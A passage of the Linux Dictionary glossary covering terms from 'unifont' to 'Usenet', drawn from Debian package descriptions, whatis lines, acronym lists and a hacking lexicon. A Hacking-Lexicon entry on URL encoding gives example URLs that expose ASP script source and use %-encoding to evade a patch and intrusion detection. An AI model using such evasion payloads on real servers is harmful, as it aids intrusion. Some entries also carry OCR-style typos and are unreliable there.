: Chinese Input Method Libaray General Chinese Input method interface and API. It is using by chinput and unicon now. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unifont
: X11 dual−width GNU unicode font The GNU unicode font is an X11 bitmap font in iso10646 encoding. It is useful if you have X programs such as the yudit text editor that are unicode aware. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Uniform Resource Identifier (URI)
: A tring of characters that identifies an Internet resource, including the type of resource and its location. There are two types of URIs: Uniform Resource Locators (URLs) and Relative URKS (REL URQ). From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uniform resource locator (URL)
: A publicly routable address for resources transmitted via the World Wide Web (WWW). URLs can be name−based (such as www.example.com) or address−based (such as 192.168.1.2). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Uniform Resource Locator (URL)
: One of two basic kinds of Universal Resource Identifiers (URI), a string of characters that precisely identifies an Internet resource's type and location. For example, the following fictitious URL identifies a World Wide Web document (http : / /), indicates the domain name of the computer on which it is stored (www.wolverine. virginia .eau), fully describes the document's location within the directory structure (~toros/winerefs/), and includes the document's name and extension (merlot.html). http://www.wolverine.virglnia.edu/~toros/winerefs/merlot.html See Relative URL (RELURL). From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Uninterruptible poewr supply (UPS)
: A battery that can supply continuous power to a computer system in the event of a power failure. The battery, charged while your computer is swtiched on, kicks in if the power fails and provides power for 10 minutes or more, during which time you can save fils and shut down the computer to preserve the integrity of crucial data. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uninterruptible power supply (UPS)
: A battery that can supply continuous power to a computer system in the event of a power failure. The battery charged while your computer is switched on, kicks in if the power fails and provides power for 10 minutes or more, during which time you can save files and shut down the computer to preserve the integrity of crucial data. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uniq
: remove duplicate lines from a sorted file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unison
: A file−synchronization tool for Unix and Windows Unison is a file−synchronization tool for Unix and Windows, written in OCaml. It allows two replicas of a collection of files and directories to be stored on different hosts (or different disks on the same host), modified separately, and then brought up to date by propagating the changes in each replica to the other. Unison offers several advantages over various synchronization methods such as CVS, Coda, rsync, Intellisync, etc. Unison can run on and synchronize between Windows and many UNIX platforms. Unison requires no root privileges, system access or kernel changes to function. Unison can synchronize changes to files and directories in both directions, on the same machine, or across a network using ssh or a direct socket connection. Transfers are optimised using a version of the rsync protocol, making it ideal for slower links. Unison has a clear and precise specification, and is resilient to failure due to its careful handling of the replicas and its private structures. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unison−gtk
: A file−synchronization tool for Unix and Windows − GTK interface This package adds the optional GTK interface to the file synchronization tool 'unison'. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNITE
: Ubiquitous aNd Integrated Teamwork Environment (SIT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

units
: converts between different systems of units. GNU 'units' program converts quantities expressed in various scales to their equivalents in other scales. The 'units' program can only handle multiplicative scale changes. For example, it cannot convert Celsius to Fahrenheit but it can convert temperature differences between those temperature scales. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIVAC
: UNIVersal Automatic Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

universal time coordinated (UTC)
: The mean solar time of the meridian of Greenwich, England, used as the basis for calculating standard time throughout the world. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Unix
: /yoo'niks/ n. [In the authors' words, "A weak pun on Multics"; very early on it was `UNICS'] (also `UNIX') An interactive time−sharing system invented in 1969 by Ken Thompson after Bell Labs left the Multics project, originally so he could play games on his scavenged PDP−7. Dennis Ritchie, the inventor of C, is considered a co−author of the system. The turning point in Unix's history came when it was reimplemented almost entirely in C during 1972−1974, making it the first source−portable OS. Unix subsequently underwent mutations and expansions at the hands of many different people, resulting in a uniquely flexible and developer−friendly environment. By 1991, Unix had become the most widely used multiuser general−purpose operating system in the world − and since 1996 the variiant called Linux has been at the cutting edge of the open source movement. Many people

consider the success of Unix the most important victory yet of hackerdom over industry opposition (but see Unix weenie and Unix conspiracy for an opposing point of view). See Version 7, BSD, USG Unix, Linux. Some people are confused over whether this word is appropriately `UNIX' or `Unix'; both forms are common, and used interchangeably. Dennis Ritchie says that the `UNIX' spelling originally happened in CACM's 1974 paper "The UNIX Time−Sharing System" because "we had a new typesetter and troff had just been invented and we were intoxicated by being able to produce small caps." Later, dmr tried to get the spelling changed to `Unix' in a couple of Bell Labs papers, on the grounds that the word is not acronymic. He failed, and eventually (his words) "wimped out" on the issue. So, while the trademark today is `UNIX', both capitalizations are grounded in ancient usage; the Jargon File uses `Unix' in deference to dmr's wishes. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Unix

A computer operating system (the basic software running on a computer, underneath things like word processors and spreadsheets). Unix is designed to be used by many people at the same time (it is multi−user) and has TCP/IP built−in. It is the most common operating system for servers on the Internet. Apple computers' Macintosh operating system, as of version 10, is based on Unix. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Unix

A computer operating system commonly used on the Internet. Uplink: The communication link from the transmitting earth station to the satellite. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX

An operating system used on a wide variety of computers, from mainframes to personal computers, that supports multitasking and is ideally suited to multiuser applications. UNIX is a very flexible operating system, well−suited to the needs of advanced computer users. With more than 200 commands, inadequate error messages, and a cryptic command syntax, however, UNIX imposes heavy burdens on occasional users and the technically unsophisticated. With the development of UNIX shells such as NeXTStep, the operating system may play a much wider role in computing. Because Bell Laboratories was prohibited from marketing UNIX by the antitrust regulations governing AT&T before the 1980s, UNIX was provided without charge to colleges and universities throughout North America. beginning in 1976. In 1979, the University of California at Berkeley developed a popular version of UNIX for VAX computers. In the early 1980S, AT&T gained the right to market the system and released System V in 1983. See Berkeley UNIX System V lnterface Definition (SVID) and Linux, Wide Area Information Server (WAIS). From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX

Key point: There really is no "UNIX", but just various implementations designed along the same guidelines. Different versions of UNIX are more or less related, and there is extensive cross−germination of ideas, so that something good that appears in one will eventually migrate to others. Contrast: There have been two main branches of UNIX: SVR4 (System V Release 4) and BSD (Berkeley Standard Distribution). Many security issues depend upon which base the system was derived. Example: Sun Solaris, IBM AIX, SCO, SGI Irix, Apple A/UX, BSD, HP/UX. Key point: UNIX is case−sensitive, whereas Windows and Macintosh are "case−insensitive" but "case−preserving". Windows has a compatibility mode that allows case−sensitivity, which can sometimes be exploited with other techniques in order to compromise the system. Key point: The BSD branch has spawned many open−source variants, such as FreeBSD and OpenBSD. OpenBSD is considered one of the more secure versions of UNIX. Security experts spend the most time on OpenBSD in order to clean up bugs like buffer−overflows. However, in 1999, the dramatic rise of hacking and publication of bugs has led to a heightened awareness of these problems, which may lead to other systems becoming equally scoured for bugs. How to: In order to harden UNIX, you generally do the following: Always start from a fresh machine newly installed. When installing, do not install any options that aren't absolutely necessary. Many people are unsure if an option is needed, so they install it just to be sure. Do the opposite (don't install it in order to make sure you don't introduce a backdoor). After installation, remove all unnecessary software; anything with an X Windows GUI is a good start. Cleanse /etc/inetd.conf of all unnecessary services. For any server connected to the Internet, pretty much everything in there will be unnecessary. Install a Tripwire−style package to detect when system files have changed (i.e. binaries in /sbin and configuration files in /etc). This doesn't secure the system, but it helps in detecting when intrusions have occurred. Note that this program is difficult to get running and maintain over the long term. Install TCP Wrappers to log connections and provide some limited access control. Shadow /etc/passwd. Remove all entries for disabled services and set a dummy shell for those accounts that shouldn't have shell access. Redirect syslog to a secure system or drop−box. Get rid of Telnet, use ssh. Plan to do all remote administration and file copies through ssh. If you are extremely paranoid, put binaries on a CD−ROM. Some versions of open source UNIXes can even boot from CD−ROMs. Install packet filtering software. Install network intrusion detection software. Key point: Typical UNIX weaknesses are: default passwords weak (guessable, crackable) passwords NIS misconfigurations NFS holes incorrect permissions race conditions (esp. in /tmp) exploitable SUID programs sendmail problems UPS (Uninterruptible Power Supply) [2] A UPS continues to provide electricity to equipment in the case of a power failure. Much of security contains flawed policies for fail−open/fail−close. By causing devices to fail (such as cutting their power), an intruder may be provided access. For example, electronic doors will automatically open in cases of power failures in order to prevent people from getting trapped. Likewise, some firewalls are configured with bypasses that will allow access in cases of power failure to the firewall. Key point: The MTBF of the average UPS is five to ten years. High−end colos attempt to provide power grids that exceed this. Key point: Increasingly, UPS units are being given interfaces for network management. This allows them to be hacked and have their power interrupted. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX

Pronounced "you−niks," a multi−user, multitasking network operating system developed at Bell Labs in the early 1970s. Linux is based on, and is highly compatible with, UNIX. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX

UNIX began as a proprietary operating system developed by Bell Laboratories in the 1960s. It eventually spawned a number of mutually incompatible commercial versions from such companies as Apple (Mac OS X), Digital (Digital UNIX), Hewlett−Packard (HPUX), IBM (AIX.), NeXT (NeXTSTEP) and others. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX

UNIX is an operating system commonly used on Workstations, and multi−user larger systems. It is a very powerful operating system for administering many users, multi−tasking and communications and has played a major role in the development of the Internet − it is the preferred operating system for host Internet connections (World Wide Web, email servers, and specialist hardware such as routers). From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNIX−to−UNIX Copy Program (UUCP)

A network, based on long−distance telephone uploads and downloads. UUCP allows UNIX users to exchange files, electronic mail and Usenet articles. In the 1980s, when Internet connectivity was hard to come by, UUCP played an important role in providing support for the UNIX operating system. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unix2dos

A utility that converts plain text files in UNIX format to DOS format. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unixcw

Shared library for Morse programs Package needed by unixcw, cwcp and xcwcp. It contains a shared library with Morse code functions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unixodbc

ODBC tools libraries Binaries and libraries from the unixODBC package. COMPONENTS: libodbc.so (ODBC Driver Manager) libodbctxt.so (driver for Text files) dltest (simple cmd line tool) isql (cmd line tool... batch & interactive SQL) Driver Template (a template for Driver programmers) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unixodbc−bin

Qt−based GUI ODBC tools Qt−based GUI Binaries from the unixODBC package. ODBCConfig (GUI Setup using libodbcinst.so) DataManager (GUI to explore ODBC Data Sources) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unix_chkpwd

check the password of the invoking user From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unlink

delete a name and possibly the file it refers to From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unlink

unlink a file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNMA

Unified Network Management Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unrtf

RTF to other formats converter UnRTF is a moderately complicated converter from RTF to other formats, including HTML, LaTeX, text, and PostScript. Converting to HTML, it supports tables, fonts, colors, embedded images, hyperlinks, paragraph alignment among other things. All other conversions are "alpha"−−just begun. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unshar

unpack a shar file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNSM

United Nations Standard Message, (UN/EDIFACT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unsq

squeeze a sorted word list unsq − unsqueeze a sorted word list From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNTDED

United Nations Trade Data Elements Directory (EDIFACT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UNTDID

United Nations Trade Data Interchange Directory (EDIFACT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

untex

Remove LaTeX commands from input. Remove LaTeX commands from input and send it to output. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

untrigraph

remove trigraphs from C source code From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unzip

De−archiver for .zip files InfoZIP's unzip program. With the exception of multi−volume archives (ie, .ZIP files that are split across several disks using PKZIP's /& option), this can handle any file produced either by PKZIP, or the corresponding InfoZIP zip program. This version supports encryption. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unzip
: list, test and extract compressed files in a ZIP archive From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unzip
: The unzip utility is used to list, test, or extract files from a zip archive. Zip archives are commonly found on MS−DOS systems. The zip utility, included in the zip package, creates zip archives. Zip and unzip are both compatible with archives created by PKWARE(R)'s PKZIPfor MS−DOS, but the programs' options and default behaviors do differ in some respects. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unzip−crypt
: Legacy package for unzip−crypt that you should remove. This package exists only to provide a smooth upgrade from the old unzip−crypt to the new unzip. Please remove it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

unzipsfx
: self−extracting stub for prepending to ZIP archives From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uOS
: uOS is a complete source based Operating System that can be configured and built in a flexible way. uOS was first used in November 2002. It is very new and there are lots of kinks to work out. Although the goal is to make uOS usable by everyeone it currently requires Unix expertise to install and to run. uOS is based on GCC 3.2 / GLIBC 2.3 / WOLK Linux Kernel / X 4.2.1. It supports the newest drivers as well as the newest compilers. Core components are available under the 4F Licensing system (compliant to DFSG and OSI guidelines for Free Software). Initial version 0.81 was released November 6, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UP
: Uni Processor [system] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

up2date
: The Red Hat Update Agent that automatically queries the Red Hat Network servers and determines which packages need to be updated on your machine. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPA
: Ultra Port Architecture (Sun, SMP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPAM
: User Primary Access Method (BS2000) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPC
: Universal Product Code (EAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPC
: Usage Parameter Control (UNI, ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPD
: UserParameterDaten (DDBAC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update

daemon to periodically flush filesystem buffers. The update daemon flushes the filesystem buffers at regular intervals. This version does not spawn a bdflush daemon, as this is now done by the kernel's kupdate thread. This package is not needed with Linux 2.2.8 and above. If you do not plan to run a 2.0.x series kernel on this system, you can safely remove this package. update may still be useful in sync mode (as opposed to flush mode) on more recent kernels for the extra paranoid. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−alternatives
maintain symbolic links determining default commands From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−catalog
create or update entry in SGML catalog file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−cluster
System to update configuration files for clusters automatically A management system to maintain a systemwide template configuration, update−cluster allows for uniform configuration of several cluster−oriented software. NOTE: Using this package may result in automatically overwriting important configuration files. Be careful. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−cluster−hosts
System to update configuration files for clusters automatically A management system to maintain a systemwide template configuration, update−cluster allows for uniform configuration of several cluster−oriented software. This is a module used to configure /etc/hosts using update−cluster infrastructure. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−fonts−alias
compile fonts.alias files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−fonts−dir
compile fonts.dir files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−fonts−scale
compile fonts.scale files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−inetd
create, remove, enable or disable entry in /etc/inetd.conf From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−ispell−dictionary
Bash script to select a new ispell default dictionary. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−menus
generate Debian menu system From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−mime
create or update MIME information From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−modules
(re)generate /etc/modules.conf and /etc/chandev.conf From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−passwd
safely update /etc/passwd, /etc/shadow and /etc/group From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−rc.d
install and remove System−V style init script links From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

update−xpdfrc

program to generate xpdf's configuration file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

updatedb
: update a file name database From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPG
: see user private group (UPG). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

upgrade
: To replace older hardware or software with a new or revised version. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPL
: User Program Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Upload
: Transferring data (usually a file) from a the computer you are using to another computer. The opposite of download. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPM
: Umdrehungen Pro Minute (HDD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPM
: User Profile Management (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPN
: Umgekehrte Polnische Notation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPNP
: Universal Plug 'N Play (PNP), "UPnP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPP
: Universal Procedure Pointer (AE, Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPPS
: Universal Portable Protocol Stack / Support (Schneider & Koch) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uprecords−cgi
: A CGI script to show the world your highest uptimes This CGI script shows your highest uptimes from the uptimed database. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPS
: Uninterruptible Power Supply From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPS
: Unix Print Services (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

upsd
: UPS Monitor Program Upsd is a UPS monitor program. It supports both local monitoring of a UPS that is directly connected to the computer's serial port and remote monitoring over a network. Remote monitoring is done by polling the master upsd (the one with the direct serial connection to the UPS). There are a number of options to control the poll interval and the delay before shutdown. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPT
: Universal Personal Telecommunications (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UPT

Universelle Personengebundene Telekommunikation (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uptime

Tell how long the system has been running. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uptime−applet

Gnome applet that displays your system uptime. Just a small gnome applet which displays how long your system has been running. It is made for use with gnome panel. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uptimed

Utility to track your highest uptimes Uptimed allows you to track your highest uptimes via boot IDs. Features: − Console program to display statistics − Can send mail if a milestone or a new record is reached From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

upx−ucl

an efficient live−compressor for executables UPX is an advanced executable file compressor. UPX will typically reduce the file size of programs and DLLs by around 50%−70%, thus reducing disk space, network load times, download times etc. The current version can compress executables for DOS, Linux/ELF (i386 only!) and some other files for different OS. NOTE: This package is based on the UCL library, which is licensed under GPL. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uqwk

Offline mail and news package creator (NNTP version). Uqwk is a program which collects all of a user's unread mail or news and formats it into a packet for offline reading. QWK, Simple Offline Usenet Packet (SOUP), and ZipNews packet formats are supported. Uqwk also accepts reply packets, so replies can be mailed or posted, depending whether the message is marked private (email) or public (news). Uqwk also supports a small offline command language, so the contents of the user's .newsrc file can be viewed and manipulated offline. This version accesses newsgroups via NNTP. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uqwk−spool

Offline mail and news package creator (spool version). Uqwk is a program which collects all of a user's unread mail or news and formats it into a packet for offline reading. QWK, Simple Offline Usenet Packet (SOUP), and ZipNews packet formats are supported. Uqwk also accepts reply packets, so replies can be mailed or posted, depending whether the message is marked private (email) or public (news). Uqwk also supports a small offline command language, so the contents of the user's .newsrc file can be viewed and manipulated offline. This version accesses newsgroups via a local news spool. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URA

Uniform Resource Agent (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URB

USB Request Block (USB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URC

Uniform Resource Citation (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URC

Uniform Resources Characteristics (URI, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URI

Universal Resource Identifier (WWW, RFC 1630) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URL

A Uniform Resource Locator is basically the address of any resource on the Internet. You type the URL in your browser and you are whizzed off to the appropriate site. e.g. http://ole.net/ole/ From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URL

An acronym for Uniform Resource Locator, URL's are a standardized format for giving a pointer to information available from... A Primer explaining the use of URL's is available. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URL

Uniform Resource Locator (WWW, RFC 1738) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URL

Uniform Resource Locator: a standardized format for giving a pointer to information available from gopher,WWW, finger and other servers. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URL encoding (application/form−url−encoded)

A problem exists when people need to send binary data as part of a URL. Therefore, URLs include the ability to "encode" binary information as part of the text field. Key point: This encoding mechanism can be used to alter the signature of a hacker attack via web−based protocols. Such encoding can be used to evade detection by lightweight intrusion detection systems that are unable to "normalize" the URL. Example: The Microsoft web−server in their ASP server−side scripts such that a hacker could append a dot to the end of the URL in order to read the script contents rather than executing the script. Microsoft created a patch, but hackers soon found they could evade the patch by URL−encoding the dot (appending a %2E to the end of the scrip rather than a dot). Examples: http://www.robertgraham.com/sample.asp Normal URL http://www.robertgraham.com/sample.asp. Attempt to read script rather than executing it. http://www.robertgraham.com/sample.asp%2E URL−encoding in order to evade patch. http://www.robertgraham.com/sample.%61sp%2E Further URL−encoding in order to evade intrusion detection systems. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

url−properties

determine which browser is responsible for various types of URLs. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

urlredir

utility for squid to perform url redirection. This utility can be used with squid to perform url redirection. It has a structured configuration system which allows greater control over url redirection. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

urlview

Extracts URLs from text This utility is used to extract URL from text files, especially from mail messages in order to launch some browser to view them. This used to be a part of mutt but has now become an independent tool. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URN

Uniform Resource Name (WWW, RFC 1737) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

urpmi

urpmi takes care of dependencies between rpms, using a pool (or pools) of rpms. You can compare rpm vs. urpmi with insmod vs. modprobe From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

URSN

Unique Resource Serial Number (URI, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

urw−fonts

Free, good quality versions of the 35 standard PostScript(TM) fonts, donated under the GPL by URW++ Design and Development GmbH. The fonts.dir file font names match the original Adobe names of the fonts (e.g., Times, Helvetica, etc.). Install the urw−fonts package if you need free versions of standard PostScript fonts. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

US

Unit Separator (BTX, VPCE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USA

United Software Association (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USACNII

US Advisory Council on the National Information Infrastructure (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USART

Universal Synchronous Asynchronous Receiver / Transmitter (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USB

Universal Serial Bus (Intel, USB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USBDDK

Universal Serial Bus Driver Development Kit (USB, DDK), "USB−DDK" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usbmgr

User−Mode daemon which loads/unloads USB kernel modules When USB devices connect into or disconnect from a USB hub, the usbmgr works as the following according to configuration. a) Loads and unloads files Linux kernel modules. b) Execute file to setup USB devices. usbmgr is available under linux kernel have "/proc/bus/usb". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usbutils

USB console utilities This applications show what the device tree of the USB bus looks like. It shows a graphical representation of the devices that are currently plugged in, showing the topology of the USB bus. It also displays information on each individual device on the bus. More information can be found at the Linux USB web site http://www.linux−usb.org/ . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usbutils

usbutils contains a utility for inspecting devices connected to the USB bus. It requires a Linux kernel version 2.3.15 or newer (supporting the'/proc/bus/usb' interface). From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usbview

USB device viewer USBView is a small GTK application to show what the device tree of the USB bus looks like. It shows a graphical representation of the devices that are currently plugged in, showing the topology of the USB bus. It also displays information on each individual device on the bus. More information can be found at the usbview web site http://www.kroah.com/linux−usb/ . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USCP

Unicos Station Call Processor [protocol] (Cray, MPP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USD

User's Supplementary Documents (BSD, Unix) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USDC

Universal Switched Data Capability [consortium] (LCD, org.) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USDN

United States Digital Network From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USEC

User−based SECurity [model] (SNMP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USENET

A world−wide system of discussion groups, with comments passed among hundreds of thousands of machines. Not all USENET machines are on the Internet. USENET is completely decentralized, with over 10,000 discussion areas, called newsgroups. From Matisse
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USENET

Point: The protocol for transporting USENET messages is called NNTP: "Network News Transport Protocol". Key point: The USENET Death Penalty (http://www.stopspam.org/usenet/faqs/udp.html) is often applied to NNTP servers in order to stop the flood of spam. It is often applied to ISPs who allow users to send lots of spam or allow their servers to be hijacked. For this reasons, many ISPs (especially high−speed cable modem and DSL providers will scan their customers looking for unauthorized NNTP servers. Controversy: USENET presents a philosophical challenge to the Internet because of its distributed nature. It allows anonymous publishing of material that cannot be traced back to the source. This challenges the historic concepts of intellectual property and how it can be protected. For example, when RC2 and RC4 were posted to USENET, they stopped being trade−secrets. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UseNet

The leading distributed bulletin board, widely available on UNIX−based computer systems, and linked through the Internet and other computer networks. Offering more than 1,500 newsgroups, UseNet is accessed daily by more than 15 million people in more than 100 countries. Within UseNet is a discussion group (newsgroup) on every conceivable topic and some you haven't thought of. Each newsgroup focuses on a particular subject, such as sports cars, firearms, U.S. history, model aircraft, politics, or jazz. Well−represented subjects are hobbies, politics, scientific disciplines, and topics of current public debate. UseNet users can read and reply to posted messages. From QUECID
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Usenet

Usenet is derived from "User's Network" and was originally a separate service, or what is called a Bulletin Board System. It is very developed but is seldom called Usenet now −− more commonly referred to as newsgroups, discussion groups, or sometimes just News. There are no restrictions on joining a newsgroup. While not all Usenet machines are on the Internet, this is rapidly changing. There are over 10,000 newsgroups. URL's for newsgroups differ in appearance, with no domain name appearing −− eg., news:comp.jobs.offered From Faculty−of−Education
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USENET

USEr NETwork: a public access network on the Internet that provides user news. There are a number of newsgroups dedicated to Linux issues including the moderated comp.os.linux.announce for Linux announcements. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USENET

USErs' NETwork (Internet) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Usenet News

A network of systems that exchange articles using the Internet, UUCP, and other methods to establish public message conferences on some or all of over 6,000 topics or "newsgroups. There are many common newsgroups include some that can run on your home computer via SLIP and the Unix newsreaders, tin, trn, and nn. From KADOWKEV
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Usenet Newsgroups

